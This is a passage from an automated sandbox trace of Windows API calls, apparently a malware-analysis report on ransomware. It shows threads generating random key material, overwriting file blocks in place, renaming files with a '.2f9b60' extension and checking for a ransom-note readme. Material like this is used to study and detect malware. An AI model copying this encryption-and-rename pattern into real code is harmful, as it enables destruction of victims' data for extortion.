ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3845b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe4ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 0 [0159.025] FindClose (in: hFindFile=0x1cd9d9d0 | out: hFindFile=0x1cd9d9d0) returned 1 [0159.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec4c40) returned 1 [0159.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2ad0) returned 1 [0159.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b340) returned 1 Thread: id = 2475 os_tid = 0x1f20 [0154.332] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png")) returned 0x20 [0154.333] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", dwFileAttributes=0x20) returned 0 [0154.333] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0154.333] GetLastError () returned 0x5 [0154.333] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", dwFileAttributes=0x20) returned 0 [0154.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1182d0) returned 1 Thread: id = 2476 os_tid = 0x1f24 [0154.340] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml")) returned 0x20 [0154.341] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", dwFileAttributes=0x20) returned 0 [0154.341] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0154.341] GetLastError () returned 0x5 [0154.341] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", dwFileAttributes=0x20) returned 0 [0154.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e0b0) returned 1 Thread: id = 2477 os_tid = 0x1f28 [0154.360] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png")) returned 0x20 [0154.361] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", dwFileAttributes=0x20) returned 0 [0154.361] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0154.361] GetLastError () returned 0x5 [0154.361] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", dwFileAttributes=0x20) returned 0 [0154.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ea70) returned 1 Thread: id = 2478 os_tid = 0x1f2c [0154.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll")) returned 0x20 [0154.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll", dwFileAttributes=0x20) returned 1 [0154.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8c0 [0154.366] GetFileSizeEx (in: hFile=0x8c0, lpFileSize=0x2b5ff8e0 | out: lpFileSize=0x2b5ff8e0*=666456) returned 1 [0154.366] SetFilePointerEx (in: hFile=0x8c0, liDistanceToMove=0xa2b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.367] ReadFile (in: hFile=0x8c0, lpBuffer=0x2b5ff860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b5ff8a8, lpOverlapped=0x0 | out: lpBuffer=0x2b5ff860*, lpNumberOfBytesRead=0x2b5ff8a8*=0x4, lpOverlapped=0x0) returned 1 [0154.368] SetFilePointerEx (in: hFile=0x8c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f56b0 [0154.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5680 [0154.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9650 [0154.369] NtQuerySystemTime (in: CurrentTime=0x2b5ff7a0 | out: CurrentTime=0x2b5ff7a0*=132462177595018000) returned 0x0 [0154.369] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0xf6df0e9 [0154.369] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x6a450f5f [0154.369] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x27259e60 [0154.369] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x276a03f2 [0154.369] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x1bda5665 [0154.369] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x72f4f67a [0154.369] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x23709846 [0154.369] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x6e9b3a1a [0154.369] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x16301d6d [0154.369] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x6c089076 [0154.369] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x6b3a887f [0154.369] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x3893bd31 [0154.369] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x2a0ae878 [0154.369] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x59226233 [0154.369] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x622d02a7 [0154.369] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0xaa5eca6 [0154.369] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x79d36ca4 [0154.369] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x27b2e9a6 [0154.369] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x74c3a266 [0154.370] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x2fe8601d [0154.370] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x5304bea [0154.370] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x21a93db3 [0154.370] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x50a99447 [0154.370] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x3302b5ab [0154.370] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x63180e68 [0154.370] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x2ad998b5 [0154.370] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x40555c16 [0154.370] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x156b11c8 [0154.370] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x45e8289e [0154.370] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x648d9c99 [0154.370] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x79720221 [0154.370] RtlRandomEx (in: Seed=0x2b5ff790 | out: Seed=0x2b5ff790) returned 0x290af036 [0154.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9740 [0154.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c4c0 [0154.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9770 [0154.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c4c0) returned 1 [0154.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9650) returned 1 [0154.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f56b0) returned 1 [0154.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427f09e0 [0154.385] SetFilePointerEx (in: hFile=0x8c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.386] ReadFile (in: hFile=0x8c0, lpBuffer=0x427f09e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2b5ff800, lpOverlapped=0x0 | out: lpBuffer=0x427f09e0*, lpNumberOfBytesRead=0x2b5ff800*=0x3c00, lpOverlapped=0x0) returned 1 [0154.412] SetFilePointerEx (in: hFile=0x8c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1de0 [0154.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c640 [0154.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f56b0 [0154.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f56b0) returned 1 [0154.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427fbe10 [0154.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f56b0 [0154.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd97a0 [0154.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd97a0) returned 1 [0154.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c640) returned 1 [0154.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1de0) returned 1 [0154.414] WriteFile (hFile=0x8c0, lpBuffer=0x427fbe10, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2b5ff800, lpOverlapped=0x0) [0186.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427fbe10) returned 1 [0186.815] SetFilePointerEx (in: hFile=0x8c0, liDistanceToMove=0x52800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.815] ReadFile (in: hFile=0x8c0, lpBuffer=0x427f09e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2b5ff800, lpOverlapped=0x0 | out: lpBuffer=0x427f09e0*, lpNumberOfBytesRead=0x2b5ff800*=0x3c00, lpOverlapped=0x0) returned 1 [0190.687] SetFilePointerEx (in: hFile=0x8c0, liDistanceToMove=0x52800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139130 [0190.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139130) returned 1 [0190.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42de4d60 [0190.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139130 [0190.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139160 [0190.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139160) returned 1 [0190.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.691] WriteFile (in: hFile=0x8c0, lpBuffer=0x42de4d60*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2b5ff800, lpOverlapped=0x0 | out: lpBuffer=0x42de4d60*, lpNumberOfBytesWritten=0x2b5ff800*=0x3c00, lpOverlapped=0x0) returned 1 [0205.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42de4d60) returned 1 [0205.636] SetFilePointerEx (in: hFile=0x8c0, liDistanceToMove=0x9ef58, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.637] ReadFile (in: hFile=0x8c0, lpBuffer=0x427f09e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2b5ff800, lpOverlapped=0x0 | out: lpBuffer=0x427f09e0*, lpNumberOfBytesRead=0x2b5ff800*=0x3c00, lpOverlapped=0x0) returned 1 [0205.638] SetFilePointerEx (in: hFile=0x8c0, liDistanceToMove=0x9ef58, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9890 [0205.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9890) returned 1 [0205.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42de4d60 [0205.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9890 [0205.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddad90 [0205.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddad90) returned 1 [0205.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.642] WriteFile (in: hFile=0x8c0, lpBuffer=0x42de4d60*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2b5ff800, lpOverlapped=0x0 | out: lpBuffer=0x42de4d60*, lpNumberOfBytesWritten=0x2b5ff800*=0x3c00, lpOverlapped=0x0) returned 1 [0215.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42de4d60) returned 1 [0215.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43105910 [0215.121] SetFilePointerEx (in: hFile=0x8c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.121] WriteFile (in: hFile=0x8c0, lpBuffer=0x1cebc580*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x2b5ff8b0, lpOverlapped=0x0 | out: lpBuffer=0x1cebc580*, lpNumberOfBytesWritten=0x2b5ff8b0*=0x148, lpOverlapped=0x0) returned 1 [0218.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e20 [0218.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0218.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205000e0 [0218.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205000e0) returned 1 [0218.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0218.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205000e0 [0218.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205000b0 [0218.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205000b0) returned 1 [0218.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0218.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e20) returned 1 [0218.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x431adca0 [0218.962] sprintf (in: _Dest=0x431adca0, _Format="%c%c" | out: _Dest="3e") returned 2 [0218.962] sprintf (in: _Dest=0x431adca2, _Format="%c%c" | out: _Dest="0b") returned 2 [0218.962] sprintf (in: _Dest=0x431adca4, _Format="%c%c" | out: _Dest="4f") returned 2 [0218.962] sprintf (in: _Dest=0x431adca6, _Format="%c%c" | out: _Dest="f3") returned 2 [0218.962] sprintf (in: _Dest=0x431adca8, _Format="%c%c" | out: _Dest="60") returned 2 [0218.962] sprintf (in: _Dest=0x431adcaa, _Format="%c%c" | out: _Dest="a0") returned 2 [0218.962] sprintf (in: _Dest=0x431adcac, _Format="%c%c" | out: _Dest="d8") returned 2 [0218.962] sprintf (in: _Dest=0x431adcae, _Format="%c%c" | out: _Dest="58") returned 2 [0218.962] sprintf (in: _Dest=0x431adcb0, _Format="%c%c" | out: _Dest="86") returned 2 [0218.962] sprintf (in: _Dest=0x431adcb2, _Format="%c%c" | out: _Dest="0b") returned 2 [0218.962] sprintf (in: _Dest=0x431adcb4, _Format="%c%c" | out: _Dest="1f") returned 2 [0218.962] sprintf (in: _Dest=0x431adcb6, _Format="%c%c" | out: _Dest="fc") returned 2 [0218.962] sprintf (in: _Dest=0x431adcb8, _Format="%c%c" | out: _Dest="05") returned 2 [0218.962] sprintf (in: _Dest=0x431adcba, _Format="%c%c" | out: _Dest="f8") returned 2 [0218.962] sprintf (in: _Dest=0x431adcbc, _Format="%c%c" | out: _Dest="16") returned 2 [0218.962] sprintf (in: _Dest=0x431adcbe, _Format="%c%c" | out: _Dest="cc") returned 2 [0218.962] sprintf (in: _Dest=0x431adcc0, _Format="%c%c" | out: _Dest="f0") returned 2 [0218.962] sprintf (in: _Dest=0x431adcc2, _Format="%c%c" | out: _Dest="87") returned 2 [0218.963] sprintf (in: _Dest=0x431adcc4, _Format="%c%c" | out: _Dest="fd") returned 2 [0218.963] sprintf (in: _Dest=0x431adcc6, _Format="%c%c" | out: _Dest="64") returned 2 [0218.963] sprintf (in: _Dest=0x431adcc8, _Format="%c%c" | out: _Dest="59") returned 2 [0218.963] sprintf (in: _Dest=0x431adcca, _Format="%c%c" | out: _Dest="e5") returned 2 [0218.963] RtlInitAnsiString (in: DestinationString=0x2b5ff928, SourceString="3e0b4ff360a0d858860b1ffc05f816ccf087fd6459e5" | out: DestinationString="3e0b4ff360a0d858860b1ffc05f816ccf087fd6459e5") [0218.963] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b5ff8f8, SourceString="3e0b4ff360a0d858860b1ffc05f816ccf087fd6459e5", AllocateDestinationString=1 | out: DestinationString="3e0b4ff360a0d858860b1ffc05f816ccf087fd6459e5") returned 0x0 [0218.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x43105750 [0218.963] wcscat (in: _Dest=0x431107e0, _Source="3e0b4ff360a" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\3e0b4ff360a") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\3e0b4ff360a" [0218.963] wcscat (in: _Dest=0x431107e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\3e0b4ff360a.2f9b60") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\3e0b4ff360a.2f9b60" [0218.963] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\3e0b4ff360a.2f9b60", NtPathName=0x2b5ff8d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\3e0b4ff360a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x43157d00 [0222.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43157d00) returned 1 [0222.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43079c70) returned 1 [0222.311] NtQueryInformationFile (in: FileHandle=0x8c0, IoStatusBlock=0x2b5ff938, FileInformation=0x2b5ff948, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b5ff938, FileInformation=0x2b5ff948) returned 0x0 [0222.311] NtSetInformationFile (FileHandle=0x8c0, IoStatusBlock=0x2b5ff938, FileInformation=0x2b5ff948, Length=0x28, FileInformationClass=0x4) returned 0x0 [0224.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431107e0) returned 1 [0224.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43105750) returned 1 [0224.425] FlushFileBuffers (hFile=0x8c0) returned 1 [0224.638] CloseHandle (hObject=0x8c0) returned 1 [0225.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x107480 [0225.679] wcscpy (in: _Dest=0x107480, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\" [0225.679] wcscat (in: _Dest=0x107480, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\2F9B60-Readme.txt" [0225.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\2f9b60-readme.txt")) returned 0x20 [0226.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107480) returned 1 [0226.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bd70) returned 1 Thread: id = 2479 os_tid = 0x1f30 [0154.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll")) returned 0x20 [0154.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll", dwFileAttributes=0x20) returned 1 [0154.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1314 [0154.390] GetFileSizeEx (in: hFile=0x1314, lpFileSize=0x2c09fcc0 | out: lpFileSize=0x2c09fcc0*=14872) returned 1 [0154.390] SetFilePointerEx (in: hFile=0x1314, liDistanceToMove=0x3a14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.390] ReadFile (in: hFile=0x1314, lpBuffer=0x2c09fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c09fc88, lpOverlapped=0x0 | out: lpBuffer=0x2c09fc40*, lpNumberOfBytesRead=0x2c09fc88*=0x4, lpOverlapped=0x0) returned 1 [0154.391] SetFilePointerEx (in: hFile=0x1314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f56b0 [0154.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9650 [0154.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd97a0 [0154.392] NtQuerySystemTime (in: CurrentTime=0x2c09fb80 | out: CurrentTime=0x2c09fb80*=132462177595174000) returned 0x0 [0154.392] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x43479321 [0154.392] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x3f5adcfe [0154.392] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x287de8f7 [0154.392] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x7bfacb49 [0154.392] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x404fd6 [0154.392] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x79ff862e [0154.392] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x59f11270 [0154.392] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x4c1cd424 [0154.392] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x5551c2a9 [0154.392] RtlRandomEx (in: Seed=0x2c09fb70 | out: 